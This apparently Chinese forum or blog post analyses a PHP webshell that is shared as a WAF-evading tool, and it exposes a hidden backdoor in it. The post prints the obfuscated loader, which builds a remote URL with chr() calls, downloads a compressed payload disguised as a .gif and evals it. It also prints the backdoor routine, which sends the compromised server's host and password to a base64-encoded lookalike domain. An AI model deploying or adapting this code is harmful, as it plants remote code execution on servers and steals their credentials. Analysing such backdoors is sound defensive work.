有人分享了一個php大馬(說是過waf),八成有后門,簡單分析了一次
<?php $password='Shiqi';//登錄密碼(支持菜刀) //----------功能程序------------------// $c="chr"; session_start(); if(empty($_SESSION['PhpCode'])){ $url=$c(104).$c(116).$c(116).$c(112).$c(58).$c(47); $url.=$c(47).$c(105).$c(46).$c(110).$c(105).$c(117); $url.=$c(112).$c(105).$c(99).$c(46).$c(99).$c(111); $url.=$c(109).$c(47).$c(105).$c(109).$c(97).$c(103); $url.=$c(101).$c(115).$c(47).$c(50).$c(48).$c(49).$c(55); $url.=$c(47).$c(48).$c(53).$c(47).$c(50).$c(49).$c(47); $url.=$c(118).$c(49).$c(81).$c(82).$c(49).$c(77).$c(46).$c(103).$c(105).$c(102); $get=chr(102).chr(105).chr(108).chr(101).chr(95); $get.=chr(103).chr(101).chr(116).chr(95).chr(99); $get.=chr(111).chr(110).chr(116).chr(101).chr(110); $get.=chr(116).chr(115); $_SESSION['PhpCode']=$get($url);} $un=$c(103).$c(122).$c(105).$c(110); $un.=$c(102).$c(108).$c(97).$c(116).$c(base64_decode('MTAx')); @eval($un($_SESSION['PhpCode'])); ?>
一共有三個變量,$url、$get、$un,首先對着幾個變量ascii轉成字符串,看看是什么,用echo輸出即可。
就是個簡單的基於base64加gzinflate加密
還原一下:
<?php $password='Shiqi';//登錄密碼(支持菜刀) //----------功能程序------------------// session_start(); if(empty($_SESSION['PhpCode'])){ $url = "http://i.niupic.com/images/2017/05/21/v1QR1M.gif"; $get = "file_get_contents"; $_SESSION['PhpCode']=$get($url);} $un = "gzinflate"; @eval($un($_SESSION['PhpCode'])); ?>
現在馬子的路數很清楚了 通過遠程下載主力代碼
到這兒我們還是沒發現后門,通過wget下載v1QR1M.gif改后綴txt亂碼(gzinflate壓縮編碼本該亂碼)
后門部分:
if(isset($_GET['login'])=='geturl'){ @set_time_limit(10); $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; $serverp = envlpass; $copyurl = base64_decode('SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0='); $url=$copyurl.$serveru.'&pass='.$serverp; $url=urldecode($url); GetHtml($url); } function geturl(){ @set_time_limit(10); $serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF']; $serverp = envlpass; $copyurl = base64_decode(''); $url=$copyurl.$serveru.'&p='.$serverp; $url=urldecode($url); GetHtml($url); }
在1416行
SFRUUDovL1dXVy5GQUNFQjBPSy5DQy9lcnJvci5waHA/bmFtZT0=通過解碼得出后門地址HTTP://WWW.FACEB0OK.CC/error.php?name=